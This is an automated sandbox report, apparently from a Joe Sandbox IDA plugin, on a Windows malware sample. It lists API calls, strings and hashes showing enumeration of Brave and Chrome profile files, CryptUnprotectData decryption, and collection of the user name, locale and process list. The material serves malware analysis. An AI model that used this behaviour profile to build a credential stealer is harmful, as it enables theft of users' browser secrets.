Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s%s, xrefs: 00411838
%s\*, xrefs: 0041165D
%s\%s, xrefs: 004117FD
%s\%s, xrefs: 00411714
%s\%s\%s, xrefs: 004117DB

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: dc165bfe059858b008f46a8c8689db8cb5fddec1d4dee71b8375d3b2251b46db
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: dc165bfe059858b008f46a8c8689db8cb5fddec1d4dee71b8375d3b2251b46db
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

\Brave\Preferences, xrefs: 0040B97B
Preferences, xrefs: 0040B8BE
Brave, xrefs: 0040B8A2
Google Chrome, xrefs: 0040BDB9

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e5cae10d02fa7d777ce186465a0be00966abf08ed97bb0f5455a78fc69622242
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: e5cae10d02fa7d777ce186465a0be00966abf08ed97bb0f5455a78fc69622242
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2F688,00001000), ref: 6BCA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BCA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BCA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BCA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BCA369F
__aulldiv.LIBCMT ref: 6BCA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BCA3773
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCA377E
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BCA37C4
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCA37CB
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCA3801
__aulldiv.LIBCMT ref: 6BCA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BCA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BCA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BCA394C

Strings

AuthcAMDenti, xrefs: 6BCA3946
GenuntelineI, xrefs: 6BCA3639
GTC, xrefs: 6BCA3912
MOZ_TIMESTAMP_MODE, xrefs: 6BCA35DB
QPC, xrefs: 6BCA38FC

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5bcbfb90733875f91c250aab5cab38d94efbf6d97ec18a310ca2be9713d58639
Instruction ID: 5445508594a479779dd99ecdbf32986034b01dea71c1a28715fba30c198a52ac
Opcode Fuzzy Hash: 5bcbfb90733875f91c250aab5cab38d94efbf6d97ec18a310ca2be9713d58639
Instruction Fuzzy Hash: 79B1C271A193919BEB08CF38C95461AF7E5FBC9700F04892FEA99DB390E774D9048B91

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNELBASE(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\*, xrefs: 0041257D
%s\%s, xrefs: 0041264F
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 70f66335c68ee9bee9e93ad0ea58b8d0e5d9bc99c8bb7c2902da79831dca3d0c
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 70f66335c68ee9bee9e93ad0ea58b8d0e5d9bc99c8bb7c2902da79831dca3d0c
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNELBASE(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8a2a5c367229f5874a14f57b428850a66a498e63ff653c6488f4aaaa7e785072
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: 8a2a5c367229f5874a14f57b428850a66a498e63ff653c6488f4aaaa7e785072
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: d5e21135cb13028b418015c916ecc19e9a267484bd34271ce1c6086416c75736
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: d5e21135cb13028b418015c916ecc19e9a267484bd34271ce1c6086416c75736
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 8ca7a1081a3183d5f3e78e003e506f60ba6fc5323407f3e5e8770ee78b196e29
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: 8ca7a1081a3183d5f3e78e003e506f60ba6fc5323407f3e5e8770ee78b196e29
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: bd951ed3ca41de19a59e384374789be5e0ff2bd07393f72555197dc2eaeec2a1
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: bd951ed3ca41de19a59e384374789be5e0ff2bd07393f72555197dc2eaeec2a1
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 2b3e849318f8b253a2cdf89d748c6f1cb1b4c0b6f2b72e1768814fbe14752514
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 2b3e849318f8b253a2cdf89d748c6f1cb1b4c0b6f2b72e1768814fbe14752514
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,04196560,00000000,?,0041D758,00000000,?,00000000,00000000,?,04196A38,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,04190848,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
